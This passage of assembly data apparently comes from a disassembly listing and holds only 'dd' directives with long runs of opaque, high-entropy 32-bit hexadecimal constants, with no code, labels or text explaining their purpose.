		dd 50C08B7Fh, 0A7527FA5h, 0EFD00437h, 0C1786195h, 70E1066Ch
		dd 0AE1DEA22h, 0C44046E0h, 0AA80384Fh, 0B8117C59h, 16EAD1h
		dd 95F74DE4h, 37C0FB29h, 8E3B2F00h, 7967511h, 750875A1h
		dd 60784840h, 80E828h, 9F58ABC7h, 8DCC2CD2h, 0BB806100h
		dd 0AD0E7347h, 680203EDh, 0A388A998h, 62B0C38Ch, 727C45B0h
		dd 8924F800h, 0DA6C3585h, 794F3E94h, 402BB580h,	20A3938Eh
		dd 0FD3EE10Fh, 2160085h
		dd 0E40FC1B2h, 0A947E44h, 21258FBCh, 0F77800ECh, 0AC77E27Ah
		dd 1D4BAD12h, 0B1B93007h, 64497F17h, 23960074h,	0E28EE818h
		dd 4F00FF4Eh, 34D45174h, 95702C0h, 0E4DBA084h, 18C848A0h
		dd 48009C9Eh, 9FB7D61Bh, 6352ADh, 0EAC2D301h, 0CD46AA1Fh
		dd 78C6127h, 0F531FC24h, 37C5EB30h, 94BD5720h, 7B874184h
		dd 0CBE09231h, 0F8F7C883h, 0BFACDACEh, 6503F7F8h, 0A030344Dh
		dd 442009AEh, 0AC906421h, 1A3013D1h, 4EA81189h,	622122D4h
		dd 0DB251D01h, 88D1E03Bh, 1A63424h, 0CBCA6D7Eh,	21AC5D34h
		dd 0D4A0CDACh, 0B103365Eh, 2F84CDBFh, 8EC01E4Fh, 0BEB0B29h
		dd 0D6E0AD8Fh, 36535467h, 0B97827F8h, 4EAAA41Fh, 3DA299C0h
		dd 911B78Eh, 4657E7FEh,	95F18080h, 36004813h, 5FAFD89Dh
		dd 78619C35h, 1CA7818h,	1CB33FFDh, 0C883D219h, 0FC94321Dh
		dd 0CC700200h, 0A56742h, 0DAA3541Bh, 3489612Eh,	0C3737B00h
		dd 1A808E79h, 91F326B8h, 14DF80DCh, 8B2A5E2Bh, 0C3231700h
		dd 610B0976h, 326B26CFh, 7E1900FCh, 888FC9C6h, 4914DB00h
		dd 4F539A11h, 0FCB7155Ah, 4C2EA05Eh, 342100EAh,	0ADC24A45h
		dd 15C74600h, 0B9445E2Dh, 8E611C40h, 6CEF4095h,	1050724h
		dd 0D58D13Fh, 0C8BAA86Fh, 0E536B60h, 47E7B2B3h,	619A2BC6h
		dd 341D3500h, 516E3EC5h, 0ACB873h, 0AE990B40h, 111EF879h
		dd 36313501h, 0CF8D34B2h, 0B82B26D0h, 0C167A8Ch, 2A8FEF44h
		dd 0D006910h, 74322394h, 0E4E3FB75h, 0A0BB0085h, 0F7B4A90h
		dd 0E54C5CF7h, 973E1158h, 5E090816h, 211049DCh,	577EB480h
		dd 0CC26B2A3h, 0DC00A87Ch, 0B9C88DBCh, 71AB0021h, 13526D2Dh
		dd 9806C5A2h, 0D9F028E6h, 231A4E51h, 0BFF87484h, 0E6005801h
		dd 0C3B33A33h, 9EEE92h,	0CFBD95CDh, 71FBF328h, 0FCEF0905h
		dd 8C4017A9h, 0A8669DB5h, 1D15000Eh, 0E3ABCC27h, 70FD8F18h
		dd 0B13EF4BCh, 6A40003h, 6DBD3494h, 0DA550184h,	0D7673946h
		dd 22D430A0h, 0ACFAD813h, 89778C49h, 0C98C2060h, 0B67F7h
		dd 41C20D01h, 4419CB73h, 1B8B39h, 9E615D6Fh, 16A6726h
		dd 0C41ADE4Dh, 28257585h, 0C1400186h, 0E1908A06h, 2743F880h
		dd 691FECD6h, 0EEDC4900h, 0BFC635FCh, 0A028504Ah, 25E200E3h
		dd 5A59200Ch, 0A00DEC0h, 7AEF10B4h, 1E020EFFh, 435FE5A7h
		dd 39C1AECCh, 17C080B4h, 0E104C358h, 0E39DEB6Fh, 161460A4h
		dd 49804CBFh, 0FC16E710h, 0B7BE2D03h, 0C839EAD7h, 1A307BBh
		dd 0AC03BA84h, 66CB55C3h, 0C8838D0h, 505E01CCh,	6D9D0760h
		dd 6719EF6h, 8A70599Fh,	0C942433Bh, 0A0872D6Ch,	0E8D1B1CCh
		dd 0F01800FEh, 4EBADC76h, 39C049DDh, 0C7618B63h, 0DB6F4026h
		dd 3044474Ah, 20E0AED2h, 121A002Bh, 95463F32h, 130762E5h
		dd 0DBEF1D3Eh, 9093D980h, 0CC8A0A31h, 20788Eh, 0D09B3DEBh
		dd 689A9EB5h, 3FED801h,	37AD7CF9h, 0A47FA8E3h, 6F3F0E3Ah
		dd 8C04DF5h, 0CAAC7497h, 0BF95E500h, 0D6BC8B46h, 0D3C004Ah
		dd 0FF8956A8h, 0B500E80Ch, 33CCF2BDh, 3C7D4330h, 5002E1Dh
		dd 0C3A1FCB6h, 0E700887Fh, 0DD813F18h, 116996h,	2FB41593h
		dd 4B5F798Ah, 0A30341F4h, 2B91340Ah, 0D85EE97Fh, 406FF847h
		dd 1774A6FBh, 8ED004Ch,	31EBCCB3h, 705842E7h, 14390096h
		dd 47578E46h, 0CC510006h, 71C7CD8Ch, 290A40C8h,	0C80248F6h
		dd 45D5DA00h, 34DE01Ah,	22FB2B93h, 0BB8039A5h, 9A004BF3h
		dd 725906C4h, 72954E0h,	0B756448Eh, 2E7F07Ch, 0CB00A271h
		dd 92515E9Bh, 1E43D508h, 0BAE7E1Dh, 0EC60DE46h,	0BF000EEAh
		dd 702C2AE5h, 1D4BC259h, 0C09EDF72h, 0D26B4221h, 0D4908652h
		dd 8A565000h, 854E435Dh, 6CE439BCh, 6DCF3280h, 8BB79C0Ah
		dd 64FE732Eh, 57A94D00h, 4C82133Dh, 2600A066h, 0D27F0985h
		dd 1C9252D5h, 7158124Ch, 0B0203F13h, 0E6404300h, 0B39D11h
		dd 33303593h, 0D7A549F5h, 36092204h, 0A0C02804h, 9F749Ch
		dd 0E3DFA76Bh, 27B71E35h, 0AA2F2113h, 6C0F81Fh,	29D05D19h
		dd 2A873C55h, 16008ACCh, 0DFD78FBBh, 0FC01CA11h, 4A376F2h
		dd 0C18495C2h, 1C8E351Ah, 9EB27BC3h, 6900A798h,	0C790D7h
		dd 7882CC89h, 86BC9627h, 714FAE1Dh, 8C5F7640h, 0A0DFAA77h
		dd 2B35E0h, 13E6EDDEh, 8EA80699h, 0AB61AD0Fh, 0AC3064BDh
		dd 930754B3h, 7722D933h, 12D44098h, 78982487h, 3FC2BE48h
		dd 0AA7300CDh, 0C7A5B948h, 0EC2F00FBh, 8852B41Eh, 12F601C1h
		dd 3B02E100h, 0EB72FA2Dh, 0B7DB007Fh, 1B767BD9h, 0B20033EFh
		dd 1FAF6BF5h, 74C87Dh, 0CC7957B9h, 0F26DAEC1h, 0BF87583Ah
		dd 0AFF085BFh, 30815A5Eh, 36114D3Ch, 0EF1E1008h, 6BD70174h
		dd 654875A5h, 87CC4713h, 0C826602Dh, 0D970DE44h, 0BA768AE8h
		dd 36C0B58h, 0B0C0664Eh, 0D8AE09B9h, 0F4C0DCCCh, 4F0749E8h
		dd 3CD73F4Ch, 25D33180h, 0FC0D181Eh, 0FB5398EEh, 84308F4Bh
		dd 1BAA5A7h, 6CCB587Ch,	0CC8FE695h, 54980D05h, 0A6CA1401h
		dd 59E92604h, 4ACE8430h, 2E6C809Dh, 2F0608C6h, 0ADA6A3Ch
		dd 0DD750030h, 497681EDh, 8500C7D1h, 0BA4763BEh, 58B716F1h
		dd 2103A872h, 35E3E86h,	1A78D000h, 8CABBDD9h, 52C800C2h
		dd 6106F348h, 0C4007353h, 7BCFDDF8h, 31AF487h, 897D7892h
		dd 0A1B8276Eh, 0D600E5BBh, 0CD05AFA9h, 2C1570h,	62AE5782h
		dd 407C58B4h, 0DBB04D0Eh, 80022EC7h, 0F8D89A51h, 252207E0h
		dd 73FCCCDDh, 0BBF86C5Fh, 0D57F2FCDh, 9503E603h, 230D79h
		dd 0BDD08F3Eh, 74E42860h, 0F500FBECh, 7CAFE68h,	94F022h
		dd 6E1ECB15h, 0BBAD863Ah, 0E19D9CA0h, 8D753600h, 7DAB8532h
		dd 1C14032Dh, 3E3F7641h, 0F0DFACE1h, 0A00D070h,	315D3622h
		dd 0B2481396h, 0BAAF0864h, 0BF8015A7h, 37EFBB87h, 18989Bh
		dd 40E6CC9Dh, 0BC1432B4h, 0F5C5B100h, 46E2EA2Dh, 24575805h
		dd 0E094B200h, 8F9CCD74h, 0F715D800h, 1C86C71h,	44C200F5h
		dd 0B14EF3DAh, 0C9480870h, 0D82F513Ch, 9804FAC6h, 0A34B07C2h
		dd 46423891h, 1C596812h, 0A6133C00h, 7D0EFBEh, 19B10FAh
		dd 8EB880D6h, 713DE32h,	6C00FC21h, 378F907Ch, 4EC80086h
		dd 0B6A51848h, 0F70039AEh, 0FBD33ED9h, 0CD7D89h, 0E911AAE4h
		dd 0DE880E09h, 73F5E300h, 2DA0612Bh, 0FE600051h, 0DF4032EDh
		dd 0AA01880Ah, 84754328h, 89D41FB5h, 61B20077h,	0BEABE004h
		dd 8A7F5490h, 8A8E40Eh,	4EE1A3D6h, 0AB5DC967h, 1C995BF8h
		dd 3E3A2674h, 0EA05A80h, 0A1E9872Ch, 410732B0h,	11362BD8h
		dd 951F5010h, 0E651F13h, 7A8DC01Dh, 214BA3A8h, 6CF0DD00h
		dd 167FD21Bh, 1105BBAh,	0ECD06268h, 34CD40A2h, 3A0081B3h
		dd 13E7C14Dh, 721D39Bh,	0F8E0AE5Ch, 0C5317395h,	0B67F6EC0h
		dd 0CA3E4C00h, 640337A9h, 0BAAEA98h, 188BEDC0h,	9FF94800h
		dd 4E003D26h, 0F236A25Fh, 3A2AEA57h, 0CF0F0940h, 968EB87Fh
		dd 5B77C23Eh, 0D854CA06h, 78049F00h, 27D624A4h,	9098BAD2h
		dd 0CB00CA3Fh, 0ADE7CC3Ah, 378BB59h, 0DA466A29h, 0C4E0EB52h
		dd 833843B0h, 0D7F88345h, 0E080C8A5h, 0F78DE0h,	4732D03Bh
		dd 0D3AB6920h, 78D87613h, 0FAAD3820h, 79A3006Ch, 0BB3305A8h
		dd 82004D92h, 0DCCE8A4Eh, 1F09DBC1h, 0F8EA897Eh, 0B3C4140Fh
		dd 0A51F10C0h, 0AE002B4Ah, 0DEFE7D2h, 33F359h, 6F93A7BCh
		dd 0C9699D8Ch, 0BE647D3Fh, 513880D2h, 538F49ADh, 6AA50376h
		dd 4C064607h, 669DB8D0h, 0C3E2EB00h, 8EA20D23h,	2A423A30h
		dd 907EDA80h, 0E60A16F8h
		dd 6F7D8D01h, 8A09A6FFh, 3F92EECh, 702B4918h, 3C900C1Ah
		dd 0A6006AD8h, 8B764B78h, 0BA804Ch, 0C525505Ah,	0E59B6FACh
		dd 0F803D007h, 5EB7754Eh, 178586A0h, 0BA0B001Fh, 0D99DA865h
		dd 621D2E16h, 0D000E398h, 24350C01h, 42B0C6h, 4A0DCA9Ch
		dd 5632FA5Dh, 0E0002BB8h, 6DCE892Dh, 2F17C5h, 5B86D458h
		dd 29D70BBAh, 4DBDBD50h, 0F7672600h, 6AE47E4Eh,	4650228h
		dd 0C21BCB9Fh, 4C5E57h,	596DE7CAh, 0A2009140h, 0BD88C6B1h
		dd 3F969BA5h, 0B5003704h, 0EEB8A06h, 0C700D6A7h, 0A4F04150h
		dd 435FE3h, 3ED18E6h, 0FE71A902h, 3007905Ah, 4950FCB6h
		dd 10A4EFh, 73FD3D25h, 38D54007h, 22BD1300h, 3A8AE528h
		dd 0FEC701DEh, 0CFADB8C4h, 796430A6h, 0FD8B6C0Bh, 0B49C05C9h
		dd 89AEC90h, 1CFF00CDh,	19C28E8h, 3D09FE53h, 5E33E1h, 67489324h
		dd 0C26E00A4h, 7DFB8C06h, 8B054FA2h, 2F8137B1h,	0D0D3B184h
		dd 84B2A80Eh, 2843127Ah, 4A1500A2h, 25DF8E98h, 186B023Ch
		dd 92116429h, 35EE016Ah, 0B3378CBBh, 272ACCB2h,	0F6433606h
		dd 0A14857E0h, 28928A27h, 0DE14C0D6h, 0AF0266B8h, 2E43B258h
		dd 0A2408042h, 3FC99193h, 583E240Dh, 55E24300h,	2735EABh
		dd 0CB6041C0h, 0FA33E3h, 8345FB6Bh, 8A7BD557h, 32177600h
		dd 0AFE187F4h, 7FA10042h, 0DCD2557Dh, 2FF6AB45h, 0EA013E7Eh
		dd 0E9ED19F1h, 89C549F0h, 0A694D4h, 0E8B743B9h,	0DF100AA3h
		dd 82417C00h, 0EF2328Bh, 757008h, 9E9F43B3h, 516C47BEh
		dd 99044631h, 74D55769h, 0E5FA420h, 648B354h, 0A8E0C660h
		dd 0B4482E26h, 28951A79h, 0E8936030h, 2F4B063Bh, 4805E107h
		dd 0C957E200h, 212617F7h, 0DEF024C5h, 0DCCD00CBh, 0D45D9FAh
		dd 175C71C0h, 0FAEF768h, 65596702h, 0E212FD20h,	0B4756096h
		dd 0CCF82F00h, 1F82792Ch, 18B100C4h, 890FBD7Fh,	940141EBh
		dd 0CC5ED2FAh, 0B9D1EF74h, 14917FD4h, 0D845FF78h, 0EE410A80h
		dd 960F222Bh, 0CF260DA0h, 2FA5C0F5h, 57F4D5Eh, 64E53D1Fh
		dd 0C14DC735h, 24A66BB1h, 812AAB7Ch, 2F39F08Ch,	8D3506FEh
		dd 21A987h, 90C89F5Ah, 14ECBEB2h, 32BC2200h, 0D1EE2D01h
		dd 7B95F2CCh, 0A0D0000Fh, 37309215h, 3133E88Fh,	0CBDCA1FFh
		dd 2607CE3h, 0F6893A01h, 62208C86h, 415919h, 381B631Eh
		dd 0BCB7E4E5h, 0BA00F3EAh, 5C28CCEDh, 16202C9Bh, 3F486FAh
		dd 654FD853h, 0E0EA7CB0h, 0DD19F912h, 0B2E87A04h, 358469C0h
		dd 0AFF204CFh, 0AA0348B8h, 874F7CC1h, 83F660EAh, 39551F16h
		dd 4A88E4Eh, 400B8A00h,	5A7A5DA7h, 7A00D371h, 89B0D2F2h
		dd 48F9A1D8h, 490F446Dh, 5900F144h, 0A7A93A67h,	4C21A20Fh
		dd 0E246CE5Dh, 40F55A5Ch, 0FEDC8962h, 0DA220049h, 8463543Ah
		dd 25001C36h, 7C142ECFh, 0B8FD76h, 0D08DAB57h, 0E92D041Eh
		dd 0DD009E98h, 87D5087Ah, 6C48AEEh, 0BABFC8E4h,	0F03A5041h
		dd 4C2880D7h, 2F097E40h, 0A231E0Bh, 93570026h, 1749031Eh
		dd 0EE8F1214h, 4412980h, 13BF185Eh, 4E4B1031h, 0E9308402h
		dd 0E0D434A9h, 6A51F7h,	0BFF43904h, 47E06F95h, 0E544B0Ch
		dd 8438282Fh, 7989647Ah, 5C446C08h, 20FE849Ch, 844D3840h
		dd 220F4F22h, 0D822D1C0h, 1171423Ch, 2428589Dh,	0BF93228h
		dd 0C7102579h, 828895Ah, 290C62A6h, 38227009h, 9ED02F14h
		dd 1D220811h, 30991700h, 81075C0Ch, 0BB9C001Ah,	7D8A1FCFh
		dd 0FC0039A3h, 0DDE272D5h, 745B3291h, 0B18F0031h, 0D8AC42E1h
		dd 0E3007FBDh, 0FC6F8380h, 981047h, 89036501h, 0F1C02490h
		dd 0C5FFC700h, 0A5DD1567h, 47454C34h, 0C3D9F300h, 0F81D1A51h
		dd 0F6F7910Eh, 0F5AD400Dh, 7CA7C93h, 0FCE94D65h, 0DF995297h
		dd 0CDC64055h, 833901A9h, 32E58F3Ch, 292983F7h,	0B20F9788h
		dd 8DB8E022h, 3BD907FCh, 80C1A9E1h, 0B8987A41h,	0C317A400h
		dd 0EB3EFFF6h, 0F14901Ch, 0EC4BC07Dh, 0E6A26DE0h, 1201FE02h
		dd 0F5495EB6h, 0A8D83CA9h, 25E100BCh, 0C40B05F6h, 11E3941h
		dd 2E4FE6DBh, 2CC9C0A0h, 0D0ADD2h, 391A247h, 0D566A971h
		dd 42798100h, 0B0938A4Ch, 1B281D17h, 0CD8C8095h, 0C8DCFF53h
		dd 765DDD01h, 4A17A7D3h, 3636020h, 8EF29F3Eh, 0FAE8FB2Ch
		dd 0AC015A09h, 37B40278h, 0C7FC3FE9h, 43400E2h,	54459C4Bh
		dd 2D00E335h, 0FC504E6Ah, 98E6A3A4h, 0AB740F0Fh, 0ACC08B86h
		dd 97E902DAh, 986AB207h, 1680C805h, 33F6C19h, 159EC4B0h
		dd 0B7F8BAB3h, 0FD1F8737h, 7B7D8151h, 1D22333Eh, 8E09DB2Ah
		dd 0A66C0503h, 1DC4B800h, 0A05B72E4h, 9077D7D4h, 56EA00BAh
		dd 12D62DB7h, 6B004928h, 0BE1B3D63h, 1266AD80h,	0B38442h
		dd 0C01CF80Eh, 0D47485EAh, 21F4930Ch, 1720C1h, 0B913C476h
		dd 0FC8BA153h, 0AC25A51Ch, 8D809FC4h, 9BB4F880h, 475E000Ch
		dd 364A9905h, 0BD00DE16h, 0AA79787Dh, 0E6BE0117h, 52C51F2Ah
		dd 7636C00Ah, 6DA86F4h,	0E13FB400h, 0F2EFB0C4h,	14870097h
		dd 41CDAF75h, 0DD03345Bh, 133046Eh, 0D0E0E87Ch,	1A7610h
		dd 0B56B3665h, 749F5702h, 0F01C3571h, 0DFC0464Fh, 9172F35Ch
		dd 9EE71213h, 8354003Ah, 58EAD4CEh, 41F64Ch, 17BF93CDh
		dd 17DDE88Ah, 1E3A510h,	0C0CB41D9h, 0EE76C86Ah,	6CF5112h
		dd 59183C40h, 48E99EC6h, 8C246491h, 46428B8h, 3F768DB9h
		dd 117880A7h, 700DBD5h,	695A57ADh, 0A8EE5Eh, 0B1C6C43h
		dd 0F201791Bh, 82C02F3Ah, 573EFE89h, 0B7804081h, 50C9263Ah
		dd 0C0631D49h, 0E0C0173Fh, 9B706A7Dh, 7ACEF102h, 4294E457h
		dd 9CE1408Ch, 0C007008Eh, 9E891E20h, 923E9F47h,	2E580FEh
		dd 5B83D15h, 7BA00E1h, 9CF380D9h, 0D3ECA26Ch, 0B703BF05h
		dd 0E9098985h, 10800F7h, 0A3873Bh, 2DBAC6CBh, 149648BCh
		dd 174A2802h, 0D5832A1Ah, 0AF45B500h, 7800D544h, 9893CE7Ch
		dd 0F78530h, 4A7E9D20h,	32B2D2E5h, 4F5CCA00h, 37FA8F53h
		dd 3F0CB08Ch, 761897h, 990380C3h, 9F513C1Ch, 21FE0A00h
		dd 0E8547CB9h, 105D0362h, 11B20BB3h, 0C16131A8h, 3C585E0Eh
		dd 1CFDC0F6h, 26CAAEF0h, 80801690h, 7EA41209h, 400D0BEh
		dd 6236DCA8h, 0E43F97h,	657551DDh, 2F02B77Ch, 25AE6B00h
		dd 6EE6EEA0h, 0A1BD000Ah, 4EAAE430h, 0F5007F5Dh, 0C95FA39h
		dd 1B82017h, 2A124829h,	0E87977D1h, 9F240EF4h, 99132438h
		dd 18FD00EEh, 97A6E50Bh, 0F00B7FB0h, 80592D5Ah,	13F570CAh
		dd 0E8BA003Fh, 97427A18h, 0F9486B24h, 0CBF100C0h, 33FDC07h
		dd 3BB300BEh, 0CE728B3Dh, 0E0001EBDh, 9958D984h, 0E2E6D843h
		dd 186400EAh, 2C2129CDh, 8F034167h, 1B2B346Ah, 94400F56h
		dd 80DC7590h, 86EA607Eh, 0E706C9DDh, 6BB8112Fh,	0EB1A0038h
		dd 0FF5AE3DEh, 0E904E6F5h, 15D53BD3h, 546F6C80h, 0BE6C00BDh
		dd 0DB0B6D1Dh, 0CC00E3CAh, 0EB8DD335h, 1C0368AEh, 802C342Eh
		dd 336AE5BFh, 0D9007841h, 0F443881Ch, 3563BC5h,	0EDDEAB3Fh
		dd 4AE86685h, 0AE4C3926h, 0BA1E80B4h, 0ADEC70h,	1BD20D5Dh
		dd 0BDFA6187h, 7E12DC00h, 0E0837793h, 7350020h,	0D8A49450h
		dd 5C133B63h, 0A1077049h, 0EA6181A8h, 9F60D124h, 0B9420037h
		dd 6A0BBB15h, 1100539Ch, 160CD467h, 1F75BF2h, 3340F00Fh
		dd 60BB8C2Fh, 0D61D74A0h, 78D84A91h, 5DB5F951h,	2D006CC7h
		dd 0C8ED704Ch, 9903EF15h, 0F5717DFFh, 403E92F9h, 479DC8h
		dd 21FC834Fh, 0B0EAEBD0h, 552B6413h, 39870C00h,	0C3976E95h
		dd 0DA3D4911h
		dd 36202E82h, 0B609A6h,	27D8E472h, 0D0F1D57Dh, 6B350A00h
		dd 487208Fh, 6069075Ch,	803301AEh, 1D61BBA7h, 4097A0C8h
		dd 1C1A3E10h, 2A71E07h,	0F2D0DC6Ch, 49AEFE06h, 3300B884h
		dd 0D7B07B46h, 3C00374Bh, 2822CCE4h, 281490EAh,	3B82B77h
		dd 9CD48009h, 3D90ECB5h, 0D50E210Eh, 60E27843h,	0F453BD14h
		dd 0DAA500C7h, 80AC842Ah, 5D0079DDh, 25B4D399h,	7A49D7h
		dd 6EA3E62Ch, 1FBFB6E1h, 1CCEA90Fh, 76784092h, 0B11147h
		dd 0FF9DEB24h, 7F4ABE52h, 0D81EBF37h, 7CD0A905h, 0EC71BBD6h
		dd 2A80027Dh, 505AB5BFh, 0C070960h, 0DAB1A00Eh,	0C8E0407Bh
		dd 7B06A3Dh, 0FF2FA93Fh, 4FB6002Bh, 7307ECA3h, 0B8ABA103h
		dd 360EDF90h, 0C06E4CEAh, 0C6C86400h, 1CDC5720h, 0DE40A0A2h
		dd 2C0086CBh, 1D186EC3h, 0F64B29h, 0EDA86A52h, 6772497Dh
		dd 80ADA43Dh, 0A570E2FEh, 444A2Ch, 27802B71h, 610407BDh
		dd 15B72918h, 1FEDB48Eh, 82E3AF68h, 12ADD158h, 0EC47B840h
		dd 0D6AA751Ch, 0E3B2E540h, 839BA2h, 11044B8Eh, 96BB4073h
		dd 7DE46C01h, 0B50130A7h, 31FF30h, 0C5B506Bh, 779E254Dh
		dd 15643300h, 4A1ABDCCh, 2261246Eh, 44C780B8h, 80F49B16h
		dd 82035E01h, 0AA8FE5C6h, 0E057D4h, 0BD2EF90h, 0FA518D31h
		dd 0D5218160h, 0DD5471h, 42DD891h, 68FEADB6h, 65003E79h
		dd 0E2E4B8ACh, 2A3823h,	31829352h, 55FE2D44h, 650287B0h
		dd 0BD9EF364h, 9AEC8434h, 4001588Ch, 2B7DC224h,	30B9E900h
		dd 0FC69A7E8h, 67C00008h, 13A9E1AFh, 0BF00ED15h, 9AB8AA85h
		dd 8C3063h, 2078103Eh, 0F39087F5h, 0B62BDC00h, 25C03332h
		dd 0FABC0973h, 0E400F0A9h, 0F534A51Ch, 816CC807h, 9450F622h
		dd 7282A454h, 0E8DE00E2h, 0ABB188F1h, 4D0962A9h, 0A72C6E5Eh
		dd 9603384h, 280C9D9h, 0ADAFB2D8h, 58E0AE2Bh, 7500CC73h
		dd 10965707h, 260EECD1h, 3EDAD7Bh, 7CD2C603h, 0A9359A88h
		dd 275FC500h, 198FE60Ah, 712016B0h, 0DF44016h, 0EE97AEFFh
		dd 0F1F90301h, 40ECE109h, 2E9F22E0h, 3A683821h,	3BB2C580h
		dd 0CDCE8BF0h, 2AF38D02h, 60C14BECh, 60B5064Ch,	5DA998ADh
		dd 990EEE70h, 0C04B1FA5h, 0B266DCD0h, 0D2F207DEh, 50A1DF1Ah
		dd 641CD362h, 0D6F6D5F6h, 7400E7EAh, 0F920E8B4h, 0E914CC8h
		dd 84440816h, 1F2F0D22h, 3990E480h, 0BC0072D1h,	0F1206A12h
		dd 0E52704Fh, 6B19F8D0h, 9EE41D80h, 0D80071D9h,	2C20F655h
		dd 70BB56h, 0C01EC33Bh,	8E591A89h, 0FC2DA000h, 27149D23h
		dd 67EC96h, 0C7CC33F4h,	0F9F63662h, 25179C03h, 95E77BE9h
		dd 0B816E900h, 0F76FBh,	29A05BEBh, 8071AAFEh, 0A7D98B00h
		dd 73FBFABDh, 3EA2EC31h, 978007ACh, 2AF78E33h, 400D626h
		dd 38F4DB6Ah, 1E7C16C3h, 80308CBCh, 5383EAABh, 0FD00B3AEh
		dd 0E1D8E33Ch, 0F5768FFh, 594A9077h, 71638BA0h,	28037EDBh
		dd 10A434D9h, 362ED0ABh, 6AF50767h, 7044570Ch, 5CD4F1D7h
		dd 2437AC00h, 59D16881h, 557548D5h, 8278C10Eh, 0F0C894E0h
		dd 0E401730Ah, 406F7A7h, 9EC97EA2h, 0D8728C43h,	25C7314Ch
		dd 425ED349h, 86953F00h, 261D76h, 0DAF80CA3h, 57293B4h
		dd 0AD005378h, 1650CC6Bh, 175482h, 9024D1B5h, 0E0D43DAAh
		dd 0B7789418h, 0F4C579B8h, 0B8713BACh, 35DA1F8Ah, 397603BCh
		dd 5FF0E6B5h, 3C4C1D6Bh, 0BEC250C6h, 85D3FA38h,	0B160FB52h
		dd 127AB800h, 6D2D1Ah, 0F7DEE1D9h, 8CFF4EC1h, 77D11139h
		dd 0B100E4E0h, 8FEFEDE5h, 0E6F6287h, 159EFDFFh,	0CC9521A0h
		dd 0FB7A6A5Ch, 90FA0130h, 715B1EA0h, 48ED009Ch,	0EC3AEA5Dh
		dd 0E1A00443h, 5A004BFEh, 77D2F6C5h, 0A55F40h, 76988937h
		dd 633CB527h, 0E1D0BC0Fh, 0D35D2014h, 1E47E47Fh, 0F95710D5h
		dd 4D1E6D83h, 0C0872269h, 3FB6B05Ah, 0F745E800h, 0DAF4473h
		dd 612800A1h, 136A85Dh,	7E4C478Ah, 838800BFh, 929CD077h
		dd 0D7022EABh, 0B8AA1862h, 962865DFh, 4390B0BAh, 7D345A00h
		dd 783B30A4h, 0CCE11C4Fh, 58FE02C2h, 98893DABh,	0E552A500h
		dd 0E300EFD7h, 3CA2468Bh, 63474Eh, 79C1618h, 0DE87940Fh
		dd 34756800h, 6CFBD9AEh, 4EED014Fh, 8FD260EBh, 9273D86Bh
		dd 1000B8E8h, 6624BC06h, 1747DF9h, 83E1E9B0h, 539F8FC7h
		dd 1C88F6CCh, 9900C29Ch, 5E0F38F1h, 387DA8BEh, 1803A0B9h
		dd 0C5715BCAh, 4296901Eh, 6CABDE40h, 96AE6B9h, 979945D7h
		dd 0D8177D00h, 0A1E4817Dh, 0DB846804h, 0E490572Ch, 30A0873h
		dd 0E4917AE8h, 0BDA867C1h, 0DC078DD2h, 5AE5E9AEh, 1823AAD0h
		dd 8816121Ah, 0A1F00932h, 0ED71B020h, 276013CEh, 41A9CAD8h
		dd 790C3C7Dh, 11DA0283h, 4AC89523h, 8A48D620h, 12A900E4h
		dd 94FBA692h, 0C1540A80h, 80B80AD2h, 25FC49B2h,	0BFE2FABh
		dd 96040898h, 97CE6CE7h, 1044BC81h, 7793D4CCh, 155B005Ah
		dd 0CF26E696h, 42003BA4h, 0C7E02879h, 0F5B84Ch,	0BA681F0Ah
		dd 0FEAE4506h, 86D6D000h, 1A16D48Dh, 24CB3023h,	0D10687D4h
		dd 0E50E700h, 9081AB01h, 226809A5h, 2C8031D9h, 0F8EC5CD7h
		dd 117B640h, 99335AB2h,	0F06231DEh, 1472FA6Ah, 43D14000h
		dd 3D9B45D8h, 21991DC3h, 74C80064h, 84C471CEh, 0E7D67B00h
		dd 7A43F3D1h, 128E00C7h, 2715B0DCh, 9F0144AEh, 0D1E63302h
		dd 4AE1D220h, 9BF884CDh, 1EAA00BAh, 0CB4C6778h,	410080E5h
		dd 75BC626Dh, 0B6422Fh,	15BDC547h, 733CCA4Fh, 0AFF0F70Eh
		dd 341E7DD6h, 0A84D5003h, 8A02904Eh, 69D73964h,	0CBDB818Eh
		dd 0F11639E3h, 0F7283Bh, 926C9761h, 752693h, 0BEA283D6h
		dd 4063EA2Dh, 8A0287E6h, 307EFAB0h, 97D5C026h, 0D2943B32h
		dd 0B7DAFC00h, 0D82BD548h, 804FE738h, 0F820FE27h, 0F652A7h
		dd 78C3DB74h, 0E204FD26h, 890027F4h, 0ECD748CDh, 9FC7C2h
		dd 0A194B628h, 0EB302563h, 0BEA4A200h, 0FE4A960Ch, 16C1FA2Dh
		dd 3F3554h, 140F9DBAh, 8A0E7AF0h, 0E0034E80h, 7959B24h
		dd 70710030h, 9E8235B7h, 0E7779428h, 6D25E400h,	36E2C460h
		dd 0AF0A0195h, 742711E6h, 6F64D8D1h, 7DB82F4Bh,	0C387D600h
		dd 1AF0FDE7h, 0EE60C00h, 0DC0B6326h, 0C0293CE0h, 4EC80F00h
		dd 0B5973C2Dh, 57315301h, 55AB35A8h, 15B8EF0h, 1A5F4630h
		dd 40383941h, 0EFD198B4h, 3FF4E700h, 0F32374D2h, 5D1A00B5h
		dd 83147255h, 0BBA02D0Ch, 0F61F7BC8h, 0D80492Eh, 73CEF9FEh
		dd 4A3700CBh, 79209CF8h, 5E280708h, 38158448h, 0F867CDh
		dd 0C2460D9h, 31DEDDEh,	9E6DE0CFh, 0B0C37FC7h, 8CA31400h
		dd 0B1D41C38h, 0A2AA007Bh, 113C5432h, 3B3CEA22h, 665783AEh
		dd 0D0F4BF03h, 0CDB0F1h, 0D893F0EFh, 144D4201h,	0B5DE4807h
		dd 0D98251h, 8FF48524h,	20FA4826h, 3C165F00h, 0CC9B0281h
		dd 0E30F6577h, 0D86FF2h, 0CA5CCFA2h, 8E8C003Bh,	390CCE48h
		dd 0E6000F54h, 4A6DF650h, 0F5EEBCh, 9D92405Ch, 0AE22B6DAh
		dd 3B3B28EAh, 7D2F0EB5h, 0F6E5C090h, 0D69EB8h, 1009F06Eh
		dd 81872AE3h, 7DFB8900h, 29FEB131h, 3909012h, 43E67F34h
		dd 5E07335h, 5000DB5Fh,	0A5B744A6h, 0F894D7h, 0D581B840h
		dd 656ED9FBh, 6600A770h, 8454B9DDh, 71BA4699h, 3D26F4B7h
		dd 9F0042D2h, 0A35FA4F9h, 52008B54h, 27ACDEABh,	0A65B66h
		dd 5F26F19h, 88FC5816h,	0BAE6FF00h, 0ACC5639Fh,	1C6628CAh
		dd 25090091h, 3B229C2Ch, 0CD262073h, 0B100E634h, 61E97513h
		dd 0EC211714h, 4622032Fh
